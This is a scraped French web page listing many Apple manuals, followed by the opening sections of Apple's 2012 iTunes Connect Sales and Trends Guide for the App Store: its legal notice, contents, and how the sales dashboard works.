Apple iTunes Connect Sales and Trends Guide App Store Manuel
Apple iTunes Connect Sales and Trends Guide
App Store Manuel
Apple sur Fnac.com
- Pour voir la liste complète des manuels APPLE, cliquez ici
ou juste avant la balise de fermeture -->
ou juste avant la balise de fermeture -->
TELECHARGER LE PDF sur :
http://www.apple.com/itunesnews/docs/AppStoreReportingInstructions.pdf
Commander un produit Apple sur Fnac.com
Voir également d'autres Guides APPLE :
Apple-Instrumentos_y_efectos_de_Logic_Studio.pdf-Manuel
Apple-ipod_nano_kayttoopas.pdf-Finlande-Manuel
Apple_ProRes_White_Paper_October_2012.pdf-Manuel
Apple-wp_osx_configuration_profiles.pdf-Manuel
Apple-UsingiTunesProducerFreeBooks.pdf-Manuel
Apple-ipad_manual_do_usuario.pdf-Portugais-Manuel
Apple-Instruments_et_effets_Logic_Studio.pdf-Manuel
Apple-ipod_touch_gebruikershandleiding.pdf-Neerlandais-Manuel
AppleiPod_shuffle_4thgen_Manual_del_usuario.pdf-Espagnol-Manuel
Apple-Premiers-contacts-avec-votre-PowerBook-G4-Manuel
Apple_Composite_AV_Cable.pdf-Manuel
Apple-iPod_shuffle_3rdGen_UG_DK.pdf-Danemark-Manuel
Apple-iPod_classic_160GB_Benutzerhandbuch.pdf-Allemand-Manuel
Apple-VoiceOver_GettingStarted-Manuel
Apple-iPod_touch_2.2_Benutzerhandbuch.pdf-Allemand-Manuel
Apple-Apple_TV_Opstillingsvejledning.pdf-Allemand-Manuel
Apple-iPod_shuffle_4thgen_Manuale_utente.pdf-Italie-Manuel
Apple-iphone_prirucka_uzivatela.pdf-Manuel
Apple-Aan-de-slag-Neerlandais-Manuel
Apple-airmac_express-80211n-2nd-gen_setup_guide.pdf-Thailande-Manuel
Apple-ipod_nano_benutzerhandbuch.pdf-Allemand-Manuel
Apple-aperture3.4_101.pdf-Manuel
Apple-Pages09_Anvandarhandbok.pdf-Manuel
Apple-nike_plus_ipod_sensor_ug_la.pdf-Mexique-Manuel
Apple-ResEdit-Reference-For-ResEdit02.1-Manuel
Apple-ipad_guide_de_l_utilisateur.pdf-Manuel
Apple-Compressor-4-Benutzerhandbuch-Allemand-Manuel
Apple-AirPort_Networks_Early2009_DK.pdf-Danemark-Manuel
Apple-MacBook_Pro_Mid2007_2.4_2.2GHz_F.pdf-Manuel
Apple-MacBook_13inch_Mid2010_UG_F.pdf-Manuel
Apple-Xserve-RAID-Presentation-technologique-Janvier-2004-Manuel
Apple-MacBook_Pro_15inch_Mid2010_F.pdf-Manuel
Apple-AirPort_Express-opstillingsvejledning.pdf-Danemark-Manuel
Apple-DEiPod_photo_Benutzerhandbuch_DE0190269.pdf-Allemand-Manuel
Apple-Final-Cut-Pro-X-Logic-Effects-Reference-Manuel
Apple-iPod_touch_2.1_Brugerhandbog.pdf-Danemark-Manuel
Apple-Remote-Desktop-Administratorhandbuch-Version-3.1-Allemand-Manuel
Apple-Qmaster-4-User-Manual-Manuel
Apple-Server_Administration_v10.5.pdf-Manuel
Apple-ipod_classic_features_guide.pdf-Manuel
Apple-Lecteur-Optique-Manuel
Apple-Carte-AirPort-Manuel
Apple-iPhone_Finger_Tips_Guide.pdf-Anglais-Manuel
Apple-Couvercle-Manuel
Apple-battery.cube.pdf-Manuel
Apple-Boitier-de-l-ordinateur-Manuel
Apple-Pile-Interne-Manuel
Apple-atacable.pdf-Manuel
Apple-videocard.pdf-Manuel
Apple-Guide_de_configuration_de_l_Airport_Express_5.1.pdf-Manuel
Apple-iMac_Mid2010_UG_F.pdf-Manuel
Apple-MacBook_13inch_Mid2009_F.pdf-Manuel
Apple-MacBook_Mid2007_UserGuide.F.pdf-Manuel
Apple-Designing_AirPort_Networks_10.5-Windows_F.pdf-Manuel
Apple-Administration_de_QuickTime_Streaming_et_Broadcasting_10.5.pdf-Manuel
Apple-Opstillingsvejledning_til_TimeCapsule.pdf-Danemark-Manuel
Apple-iPod_nano_5th_gen_Benutzerhandbuch.pdf-Manuel
Apple-iOS_Business.pdf-Manuel
Apple-AirPort_Extreme_Installationshandbuch.pdf-Manuel
Apple-Final_Cut_Express_4_Installation_de_votre_logiciel.pdf-Manuel
Apple-MacBook_Pro_15inch_2.53GHz_Mid2009.pdf-Manuel
Apple-Network_Services.pdf-Manuel
Apple-Aperture_Performing_Adjustments_f.pdf-Manuel
Apple-Supplement_au_guide_Premiers_contacts.pdf-Manuel
Apple-Administration_des_images_systeme_et_de_la_mise_a_jour_de_logiciels_10.5.pdf-Manuel
Apple-Mac_OSX_Server_v10.6_Premiers_contacts.pdf-Francais-Manuel
Apple-Designing_AirPort_Networks_10.5-Windows_F.pdf-Manuel
Apple-Mise_a_niveau_et_migration_v10.5.pdf-Manue
Apple-MacBookPro_Late_2007_2.4_2.2GHz_F.pdf-Manuel
Apple-Mac_mini_Late2009_SL_Server_F.pdf-Manuel
Apple-Mac_OS_X_Server_10.5_Premiers_contacts.pdf-Manuel
Apple-iPod_touch_2.0_Guide_de_l_utilisateur_CA.pdf-Manuel
Apple-MacBook_Pro_17inch_Mid2010_F.pdf-Manuel
Apple-Comment_demarrer_Leopard.pdf-Manuel
Apple-iPod_2ndGen_USB_Power_Adapter-FR.pdf-Manuel
Apple-Feuille_de_operations_10.4.pdf-Manuel
Apple-Time_Capsule_Installationshandbuch.pdf-Allemand-Manuel
Apple-F034-2262AXerve-grappe.pdf-Manuel
Apple-Mac_Pro_Early2009_4707_UG_F
Apple-imacg5_17inch_Power_Supply
Apple-Logic_Studio_Installieren_Ihrer_Software_Retail
Apple-IntroductionXserve1.0.1
Apple-Aperture_Getting_Started_d.pdf-Allemand
Apple-getting_started_with_passbook
Apple-iPod_mini_2nd_Gen_UserGuide.pdf-Anglais
Apple-Deploiement-d-iPhone-et-d-iPad-Reseaux-prives-virtuels
Apple-F034-2262AXerve-grappe
Apple-Mac_OS_X_Server_Glossaire_10.5
Apple-FRLogic_Pro_7_Guide_TDM
Apple-iphone_bluetooth_headset_userguide
Apple-Administration_des_services_reseau_10.5
Apple-imacg5_17inch_harddrive
Apple-iPod_nano_4th_gen_Manuale_utente
Apple-iBook-G4-Getting-Started
Apple-XsanGettingStarted
Apple-Mac_mini_UG-Early2006
Apple-Guide_des_fonctionnalites_de_l_iPod_classic
Apple-Guide_de_configuration_d_Xsan_2
Apple-MacBook_Late2006_UsersGuide
Apple-sur-Fnac.com
Apple-Mac_mini_Mid2010_User_Guide_F.pdf-Francais
Apple-PowerBookG3UserManual.PDF.Anglais
Apple-Installation_de_votre_logiciel_Logic_Studio_Retail
Apple-Pages-Guide-de-l-utilisateur
Apple-MacBook_Pro_13inch_Mid2009.pdf.Anglais
Apple-MacBook_Pro_15inch_Mid2009
Apple-Installation_de_votre_logiciel_Logic_Studio_Upgrade
Apple-FRLogic_Pro_7_Guide_TDM
Apple-airportextreme_802.11n_userguide
Apple-iPod_shuffle_3rdGen_UG
Apple-iPod_classic_160GB_User_Guide
Apple-iPod_nano_5th_gen_UserGuide
Apple-ipod_touch_features_guide
Apple-Wireless_Mighty_Mouse_UG
Apple-Advanced-Memory-Management-Programming-Guide
Apple-iOS-App-Programming-Guide
Apple-Concurrency-Programming-Guide
Apple-MainStage-2-User-Manual-Anglais
Apple-iMacG3_2002MultilingualUserGuide
Apple-iBookG3_DualUSBUserGuideMultilingual.PDF.Anglais
Apple-imacG5_20inch_AirPort
Apple-Guide_de_l_utilisateur_de_Mac_Pro_Early_2008
Apple-Installation_de_votre_logiciel_Logic_Express_8
Apple-iMac_Guide_de_l_utilisateur_Mid2007
Apple-imacg5_20inch_OpticalDrive
Apple-FCP6_Formats_de_diffusion_et_formats_HD
Apple-prise_en_charge_des_surfaces_de_controle_logic_pro_8
Apple-Aperture_Quick_Reference_f
Apple-Shake_4_User_Manual
Apple-aluminumAppleKeyboard_wireless2007_UserGuide
Apple-ipod_shuffle_features_guide
Apple-Color-User-Manual
Apple-XsanGettingStarted
Apple-Migration_10.4_2e_Ed
Apple-MacBook_Air_SuperDrive
Apple-MacBook_Late2007-f
ApplePowerMacG5_(Early_2005)_UserGuide
Apple-iSightUserGuide
Apple-MacBook_Pro_Early_2008_Guide_de_l_utilisateur
Apple-Nouvelles-fonctionnalites-aperture-1.5
Apple-premiers_contacts_2e_ed_10.4.pdf-Mac-OS-X-Server
Apple-premiers_contacts_2e_ed_10.4
Apple-eMac_2005UserGuide
Apple-imacg5_20inch_Inverter
Apple-Keynote2_UserGuide.pdf-Japon
Apple-Welcome_to_Tiger.pdf-Japon
Apple-XsanAdminGuide_j.pdf-Japon
Apple-PowerBookG4_UG_15GE.PDF-Japon
Apple-Xsan_Migration.pdf-Japon
Apple-Xserve_Intel_DIY_TopCover_JA.pdf-Japon
Apple-iPod_nano_6thgen_User_Guide_J.pdf-Japon
Apple-Aperture_Photography_Fundamentals.pdf-Japon
Apple-nikeipod_users_guide.pdf-Japon
Apple-QuickTime71_UsersGuide.pdf-Japon
Apple-iMacG5_iSight_UG.pdf-Japon
Apple-Aperture_Performing_Adjustments_j.pdf-Japon
Apple-iMacG5_17inch_HardDrive.pdf-Japon
Apple-iPod_shuffle_Features_Guide_J.pdf-Japon
Apple-MacBook_Air_User_Guide.pdf-Japon
Apple-MacBook_UsersGuide.pdf-Japon
Apple-iPad_iOS4_Brukerhandbok.pdf-Norge-Norvege
Apple-Apple_AirPort_Networks_Early2009_H.pd-Norge-Norvege
Apple-iPod_classic_120GB_no.pdf-Norge-Norvege
Apple-StoreKitGuide.pdf-Japon
Apple-Xserve_Intel_DIY_ExpansionCardRiser_JA.pdf-Japon
Apple-iMacG5_Battery.pdf-Japon
Apple-Logic_Pro_8_Getting_Started.pdf-Japon
Apple-PowerBook-handbok-Norge-Norveg
Apple-iWork09_formler_og_funksjoner.pdf-Norge-Norvege
Apple-MacBook_Pro_15inch_Mid2010_H.pdf-Norge-Norvege
Apple-MacPro_HardDrive_DIY.pdf-Japon
Apple-iPod_Fifth_Gen_Funksjonsoversikt.pdf-Norge-Norvege
Apple-MacBook_13inch_white_Early2009_H.pdf-Norge-Norvege
Apple-GarageBand_09_Komme_i_gang.pdf-Norge-Norvege
Apple-MacBook_Pro_15inch_Mid2009_H.pdf-Norge-Norvege
Apple-imac_mid2011_ug_h.pdf-Norge-Norvege
Apple-iDVD_08_Komme_i_gang.pdf-Norge-Norvege
Apple-MacBook_Air_11inch_Late2010_UG_H.pdf-Norge-Norvege
Apple-iMac_Mid2010_UG_H.pdf-Norge-Norvege
Apple-MacBook_13inch_Mid2009_H.pdf-Norge-Norvege
/Apple-iPhone_3G_Viktig_produktinformasjon_H-Norge-Norvege
Apple-MacBook_13inch_Mid2010_UG_H.pdf-Norge-Norvege
Apple-macbook_air_13inch_mid2011_ug_no.pdf-Norge-Norvege
Apple-Mac_mini_Early2009_UG_H.pdf-Norge-Norvege
Apple-ipad2_brukerhandbok.pdf-Norge-Norvege
Apple-iPhoto_08_Komme_i_gang.pdf-Norge-Norvege
Apple-MacBook_Air_Brukerhandbok_Late2008.pdf-Norge-Norvege
Apple-Pages09_Brukerhandbok.pdf-Norge-Norvege
Apple-MacBook_13inch_Late2009_UG_H.pdf-Norge-Norvege
Apple-iPhone_3GS_Viktig_produktinformasjon.pdf-Norge-Norvege
Apple-MacBook_13inch_Aluminum_Late2008_H.pdf-Norge-Norvege
Apple-Wireless_Keyboard_Aluminum_2007_H-Norge-Norvege
Apple-NiPod_photo_Brukerhandbok_N0190269.pdf-Norge-Norvege
Apple-MacBook_Pro_13inch_Mid2010_H.pdf-Norge-Norvege
Apple-MacBook_Pro_17inch_Mid2010_H.pdf-Norge-Norvege
Apple-Velkommen_til_Snow_Leopard.pdf-Norge-Norvege.htm
Apple-TimeCapsule_Klargjoringsoversikt.pdf-Norge-Norvege
Apple-iPhone_3GS_Hurtigstart.pdf-Norge-Norvege
Apple-Snow_Leopard_Installeringsinstruksjoner.pdf-Norge-Norvege
Apple-iMacG5_iSight_UG.pdf-Norge-Norvege
Apple-iPod_Handbok_S0342141.pdf-Norge-Norvege
Apple-ipad_brukerhandbok.pdf-Norge-Norvege
Apple-GE_Money_Bank_Handlekonto.pdf-Norge-Norvege
Apple-MacBook_Air_11inch_Late2010_UG_H.pdf-Norge-Norvege
Apple-iPod_nano_6thgen_Brukerhandbok.pdf-Norge-Norvege
Apple-iPod_touch_iOS4_Brukerhandbok.pdf-Norge-Norvege
Apple-MacBook_Air_13inch_Late2010_UG_H.pdf-Norge-Norvege
Apple-MacBook_Pro_15inch_Early2011_H.pdf-Norge-Norvege
Apple-Numbers09_Brukerhandbok.pdf-Norge-Norvege
Apple-Welcome_to_Leopard.pdf-Japon
Apple-PowerMacG5_UserGuide.pdf-Norge-Norvege
Apple-iPod_touch_2.1_Brukerhandbok.pdf-Norge-Norvege
Apple-Boot_Camp_Installering-klargjoring.pdf-Norge-Norvege
Apple-MacOSX10.3_Welcome.pdf-Norge-Norvege
Apple-iPod_shuffle_3rdGen_UG_H.pdf-Norge-Norvege
Apple-iPhone_4_Viktig_produktinformasjon.pdf-Norge-Norvege
Apple_TV_Klargjoringsoversikt.pdf-Norge-Norvege
Apple-iMovie_08_Komme_i_gang.pdf-Norge-Norvege
Apple-iPod_classic_160GB_Brukerhandbok.pdf-Norge-Norvege
Apple-Boot_Camp_Installering_10.6.pdf-Norge-Norvege
Apple-Network-Services-Location-Manager-Veiledning-for-nettverksadministratorer-Norge-Norvege
Apple-iOS_Business_Mar12_FR.pdf
Apple-PCIDualAttachedFDDICard.pdf
Apple-Aperture_Installing_Your_Software_f.pdf
Apple-User_Management_Admin_v10.4.pdf
Apple-Compressor-4-ユーザーズマニュアル Japon
Apple-Network_Services_v10.4.pdf
Apple-iPod_2ndGen_USB_Power_Adapter-DE
Apple-Mail_Service_v10.4.pdf
Apple-AirPort_Express_Opstillingsvejledning_5.1.pdf
Apple-MagSafe_Airline_Adapter.pdf
Apple-L-Apple-Multiple-Scan-20-Display
Apple-Administration_du_service_de_messagerie_10.5.pdf
Apple-System_Image_Admin.pdf
Apple-iMac_Intel-based_Late2006.pdf-Japon
Apple-iPhone_3GS_Finger_Tips_J.pdf-Japon
Apple-Power-Mac-G4-Mirrored-Drive-Doors-Japon
Apple-AirMac-カード取り付け手順-Japon
Apple-iPhone開発ガイド-Japon
Apple-atadrive_pmg4mdd.j.pdf-Japon
Apple-iPod_touch_2.2_User_Guide_J.pdf-Japon
Apple-Mac_OS_X_Server_v10.2.pdf
Apple-AppleCare_Protection_Plan_for_Apple_TV.pdf
Apple_Component_AV_Cable.pdf
Apple-DVD_Studio_Pro_4_Installation_de_votre_logiciel
Apple-Windows_Services
Apple-Motion_3_New_Features_F
Apple-g4mdd-fw800-lowerfan
Apple-MacOSX10.3_Welcome
Apple-Print_Service
Apple-Xserve_Setup_Guide_F
Apple-PowerBookG4_17inch1.67GHzUG
Apple-iMac_Intel-based_Late2006
Apple-Installation_de_votre_logiciel
Apple-guide_des_fonctions_de_l_iPod_nano
Apple-Administration_de_serveur_v10.5
Apple-Mac-OS-X-Server-Premiers-contacts-Pour-la-version-10.3-ou-ulterieure
Apple-boot_camp_install-setup
Apple-iBookG3_14inchUserGuideMultilingual
Apple-mac_pro_server_mid2010_ug_f
Apple-Motion_Supplemental_Documentation
Apple-imac_mid2011_ug_f
Apple-iphone_guide_de_l_utilisateur
Apple-macbook_air_11inch_mid2011_ug_fr
Apple-NouvellesfonctionnalitesdeLogicExpress7.2
Apple-QT_Streaming_Server
Apple-Web_Technologies_Admin
Apple-Mac_Pro_Early2009_4707_UG
Apple-guide_de_l_utilisateur_de_Numbers08
Apple-Decouverte_d_Aperture_2
Apple-Guide_de_configuration_et_d'administration
Apple-mac_integration_basics_fr_106.
Apple-iPod_shuffle_4thgen_Guide_de_l_utilisateur
Apple-ARA_Japan
Apple-081811_APP_iPhone_Japanese_v5.4.pdf-Japan
Apple-Recycle_Contract120919.pdf-Japan
Apple-World_Travel_Adapter_Kit_UG
Apple-iPod_nano_6thgen_User_Guide
Apple-RemoteSupportJP
Apple-Mac_mini_Early2009_UG_F.pdf-Manuel-de-l-utilisateur
Apple-Compressor_3_Batch_Monitor_User_Manual_F.pdf-Manuel-de-l-utilisateur
Apple-Premiers__contacts_avec_iDVD_08
Apple-Mac_mini_Intel_User_Guide.pdf
Apple-Prise_en_charge_des_surfaces_de_controle_Logic_Express_8
Apple-mac_integration_basics_fr_107.pdf
Apple-Final-Cut-Pro-7-Niveau-1-Guide-de-preparation-a-l-examen
Apple-Logic9-examen-prep-fr.pdf-Logic-Pro-9-Niveau-1-Guide-de-preparation-a-l-examen
Apple-aperture_photography_fundamentals.pdf-Manuel-de-l-utilisateu
Apple-emac-memory.pdf-Manuel-de-l-utilisateur
Apple-Apple-Installation-et-configuration-de-votre-Power-Mac-G4
Apple-Guide_de_l_administrateur_d_Xsan_2.pdf
Apple-premiers_contacts_avec_imovie6.pdf
Apple-Tiger_Guide_Installation_et_de_configuration.pdf
Apple-Final-Cut-Pro-7-Level-One-Exam-Preparation-Guide-and-Practice-Exam
Apple-Open_Directory.pdf
Apple-Nike_+_iPod_User_guide
Apple-ard_admin_guide_2.2_fr.pdf
Apple-systemoverviewj.pdf-Japon
Apple-Xserve_TO_J070411.pdf-Japon
Apple-Mac_Pro_User_Guide.pdf
Apple-iMacG5_iSight_UG.pdf
Apple-premiers_contacts_avec_iwork_08.pdf
Apple-services_de_collaboration_2e_ed_10.4.pdf
Apple-iPhone_Bluetooth_Headset_Benutzerhandbuch.pdf
Apple-Guide_de_l_utilisateur_de_Keynote08.pdf
APPLE/Apple-Logic-Pro-9-Effectsrfr.pdf
Apple-Logic-Pro-9-Effectsrfr.pdf
Apple-iPod_shuffle_3rdGen_UG_F.pdf
Apple-iPod_classic_160Go_Guide_de_l_utilisateur.pdf
Apple-iBookG4GettingStarted.pdf
Apple-Administration_de_technologies_web_10.5.pdf
Apple-Compressor-4-User-Manual-fr
Apple-MainStage-User-Manual-fr.pdf
Apple-Logic_Pro_8.0_lbn_j.pdf
Apple-PowerBookG4_15inch1.67-1.5GHzUserGuide.pdf
Apple-MacBook_Pro_15inch_Mid2010_CH.pdf
Apple-LED_Cinema_Display_27-inch_UG.pdf
Apple-MacBook_Pro_15inch_Mid2009_RS.pdf
Apple-macbook_pro_13inch_early2011_f.pdf
Apple-iMac_Mid2010_UG_BR.pdf
Apple-iMac_Late2009_UG_J.pdf
Apple-iphone_user_guide-For-iOS-6-Software
Apple-iDVD5_Getting_Started.pdf
Apple-guide_des_fonctionnalites_de_l_ipod_touch.pdf
Apple_iPod_touch_User_Guide
Apple_macbook_pro_13inch_early2011_f
Apple_Guide_de_l_utilisateur_d_Utilitaire_RAID
Apple_Time_Capsule_Early2009_Setup_F
Apple_iphone_4s_finger_tips_guide_rs
Apple_iphone_upute_za_uporabu
Apple_ipad_user_guide_ta
Apple_iPod_touch_User_Guide
apple_earpods_user_guide
apple_iphone_gebruikershandleiding
apple_iphone_5_info
apple_iphone_brukerhandbok
apple_apple_tv_3rd_gen_setup_tw
apple_macbook_pro-retina-mid-2012-important_product_info_ch
apple_Macintosh-User-s-Guide-for-Macintosh-PowerBook-145
Apple_ipod_touch_user_guide_ta
Apple_TV_2nd_gen_Setup_Guide_h
Apple_ipod_touch_manual_del_usuario
Apple_iphone_4s_finger_tips_guide_tu
Apple_macbook_pro_retina_qs_th
Apple-Manuel_de_l'utilisateur_de_Final_Cut_Server
Apple-iMac_G5_de_lutilisateur
Apple-Cinema_Tools_4.0_User_Manual_F
Apple-Personal-LaserWriter300-User-s-Guide
Apple-QuickTake-100-User-s-Guide-for-Macintosh
Apple-User-s-Guide-Macintosh-LC-630-DOS-Compatible
Apple-iPhone_iOS3.1_User_Guide
Apple-iphone_4s_important_product_information_guide
Apple-iPod_shuffle_Features_Guide_F
Liste-documentation-apple
Apple-Premiers_contacts_avec_iMovie_08
Apple-macbook_pro-retina-mid-2012-important_product_info_br
Apple-macbook_pro-13-inch-mid-2012-important_product_info
Apple-macbook_air-11-inch_mid-2012-qs_br
Apple-Manuel_de_l_utilisateur_de_MainStage
Apple-Compressor_3_User_Manual_F
Apple-Color_1.0_User_Manual_F
Apple-guide_de_configuration_airport_express_4.2
Apple-TimeCapsule_SetupGuide
Apple-Instruments_et_effets_Logic_Express_8
Apple-Manuel_de_l_utilisateur_de_WaveBurner
Apple-Macmini_Guide_de_l'utilisateur
Apple-PowerMacG5_UserGuide
Disque dur, ATA parallèle Instructions de remplacement
Apple-final_cut_pro_x_logic_effects_ref_f
Apple-Leopard_Installationshandbok
Manuale Utente PowerBookG4
Apple-thunderbolt_display_getting_started_1e
Apple-Compressor-4-Benutzerhandbuch
Apple-macbook_air_11inch_mid2011_ug
Apple-macbook_air-mid-2012-important_product_info_j
Apple-iPod-nano-Guide-des-fonctionnalites
Apple-iPod-nano-Guide-des-fonctionnalites
Apple-iPod-nano-Guide-de-l-utilisateur-4eme-generation
Apple-iPod-nano-Guide-de-l-utilisateur-4eme-generation
Apple-Manuel_de_l_utilisateur_d_Utilitaire_de_reponse_d_impulsion
Apple-Aperture_2_Raccourcis_clavier
AppleTV_Setup-Guide
Apple-livetype_2_user_manual_f
Apple-imacG5_17inch_harddrive
Apple-macbook_air_guide_de_l_utilisateur
Apple-MacBook_Early_2008_Guide_de_l_utilisateur
Apple-Keynote-2-Guide-de-l-utilisateur
Apple-PowerBook-User-s-Guide-for-PowerBook-computers
Apple-Macintosh-Performa-User-s-Guide-5200CD-and-5300CD
Apple-Macintosh-Performa-User-s-Guide
Apple-Workgroup-Server-Guide
Apple-iPod-nano-Guide-des-fonctionnalites
Apple-iPad-User-Guide-For-iOS-5-1-Software
Apple-Boot-Camp-Guide-d-installation-et-de-configuration
Apple-iPod-nano-Guide-de-l-utilisateur-4eme-generation
Power Mac G5 Guide de l’utilisateur APPLE
Guide de l'utilisateur PAGE '08 APPLE
Guide de l'utilisateur KEYNOTE '09 APPLE
Guide de l'Utilisateur KEYNOTE '3 APPLE
Guide de l'Utilisateur UTILITAIRE RAID
Guide de l'Utilisateur Logic Studio
Power Mac G5 Guide de l’utilisateur APPLE
Guide de l'utilisateur PAGE '08 APPLE
Guide de l'utilisateur KEYNOTE '09 APPLE
Guide de l'Utilisateur KEYNOTE '3 APPLE
Guide de l'Utilisateur UTILITAIRE RAID
Guide de l'Utilisateur Logic Studio
Guide de l’utilisateur ipad Pour le logiciel iOS 5.1
PowerBook G4 Premiers Contacts APPLE
Guide de l'Utilisateur iphone pour le logiciel ios 5.1 APPLE
Guide de l’utilisateur ipad Pour le logiciel iOS 4,3
Guide de l’utilisateur iPod nano 5ème génération
Guide de l'utilisateur iPod Touch 2.2 APPLE
Guide de l’utilisateur QuickTime 7 Mac OS X 10.3.9 et ultérieur Windows XP et Windows 2000
Guide de l'utilisateur MacBook 13 pouces Mi 2010
Guide de l’utilisateur iPhone (Pour les logiciels iOS 4.2 et 4.3)
Guide-de-l-utilisateur-iPod-touch-pour-le-logiciel-ios-4-3-APPLE
Guide-de-l-utilisateur-iPad-2-pour-le-logiciel-ios-4-3-APPLE
Guide de déploiement en entreprise iPhone OS
Guide-de-l-administrateur-Apple-Remote-Desktop-3-1
Guide-de-l-utilisateur-Apple-Xserve-Diagnostics-Version-3X103
Guide-de-configuration-AirPort-Extreme-802.11n-5e-Generation
Guide-de-configuration-AirPort-Extreme-802-11n-5e-Generation
Guide-de-l-utilisateur-Capteur-Nike-iPod
Guide-de-l-utilisateur-iMac-21-5-pouces-et-27-pouces-mi-2011-APPLE
Guide-de-l-utilisateur-Apple-Qadministrator-4
Guide-d-installation-Apple-TV-3-eme-generation
User-Guide-iPad-For-ios-5-1-Software
iTunes Connect Sales and Trends Guide
App Store
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 1Apple Inc.
© 2012 Apple Inc.
All rights reserved.
No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by any means,
mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and
to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice.
The Apple logo is a trademark of Apple Inc.
Use of the “keyboard” Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may
constitute trademark infringement and unfair competition in violation of federal and state laws.
No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains
all intellectual property rights associated with the technology described in this document. This document is intended to
assist partners in understanding the Sales and Trends module of iTunes Connect.
Every effort has been made to ensure that the information in this document is accurate. Apple is not responsible for typographical errors.
Apple Inc.
1 Infinite Loop
Cupertino, CA 95014
408-996-1010
Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR
IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR
PURPOSE. AS A RESULT, THIS DOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS
TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL
OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension,
or addition to this warranty.
Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may
also have other rights which vary from state to state.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 2Contents
1. Getting Started 4
2. Navigating and Viewing Your Sales and Trends Data 5
2.1. Dashboard View 6
2.2. Sales View 11
3. Downloading, Reading and Understanding Sales and Trends Data 13
3.1. Downloading Reports 13
3.2. Auto-Ingest Tool 14
3.3. Reading Reports 16
3.4. Understanding Units 18
4. Contact Us 19
Appendix A - Sales Report Field Definitions 20
Appendix B - Opt-In Report Field Definitions 21
Appendix C - Apple Fiscal Calendar 22
Appendix D - Definition of Day and Week 23
Appendix E – Product Type Identifiers 24
Appendix F – Country Codes 25
Appendix G – Promotional Codes 26
Appendix H – Currency Codes 27
Appendix I - Subscription and Period Field Values 28
Appendix J - FAQs 29
Appendix K - Sample Sales Report 30
Appendix L – Other Uses 32
Appendix M - Newsstand Report Field Definitions 33
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 31. Getting Started
iTunes Connect can be accessed at http://itunesconnect.apple.com. Once you login, you will be presented with
the Welcome page below, which contains notifications at the top and module links to help you navigate
through iTunes Connect. The Welcome page you will see is based on the modules applicable to you and may
be different from what is shown below. This guide is primarily intended to cover the Sales and Trends module.
The initial user who entered into the program license agreement has the “Admin” role, which
provides access to all modules, including the ability to add other “Admin” users (using the
Manage Users module). The “Admin” users associated with your account are expected to manage
(add, modify, and delete) your users based on your needs.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 42. Navigating and Viewing Your Sales and Trends Data
The iTunes Connect Sales and Trends module allows you to interact with your sales data in various ways:
■ A summary that provides total units, percent differences, graphs, top selling content and largest market
information (Dashboard view).
■ Previews that provide the top 50 transactions of sales aggregated at the title level in descending sorted
order (Sales view).
■ Download full transaction reports for import and further analysis (Sales view).
When you are ready to access the Sales and Trends module, click on the following link located on the Welcome
page:
Upon selecting the Sales and Trends module, you will be taken to the Dashboard view.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 52.1. Dashboard View
The Dashboard will load and display the most recent daily data available. The following identifies the various
components of the dashboard.
The “Selection” controls located above the graph allow you to change the information displayed.
Vendor Selection
The Vendor Selection display lists the legal entity name for the Sales and Trends that you are viewing.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 6View Selection
The View Selection allows you to switch between different views. In addition to the Dashboard view, you can
toggle to the Sales view (the Sales view is covered in section 2.2).
Period Selection
You can choose the type (daily or weekly), as well as the period of interest. The date menu will display all
periods available up to the last 13 weeks or 14 days.
Category Selection
You can choose the specific category you wish to view in the Dashboard if you sell more than one type of
content (i.e. iOS and MacOS).
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 7Type Selection
You can choose the specific type of content within a category to view in the Dashboard’s graph, Top Products
and Top Markets. The available types are the same for both the iOS and MacOS category.
Refer to Appendix E for the complete product breakdown by product type.
Graph Selection
You can choose between a line graph and bar graph by clicking on the graph buttons located on the right top
corner of the graph.
Graph
The data displayed in the graph is based on the period (specific day or week), category and type selected.
When you hover over a specific day or week in the graph (bar or line), the date, number of units and type will
be displayed. The following displays the graph for the period of August 30, 2010 and the Free Apps category
while mousing over the August 30, 2010 bar.
When viewing daily reports, the graph will also display the percentage change from the same day in the prior
period. In the graph above you see the percentage change of free apps sold on 8/30 (Monday) to those sold
on 8/24 (Monday of prior week) based on units.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 8Top Products Display
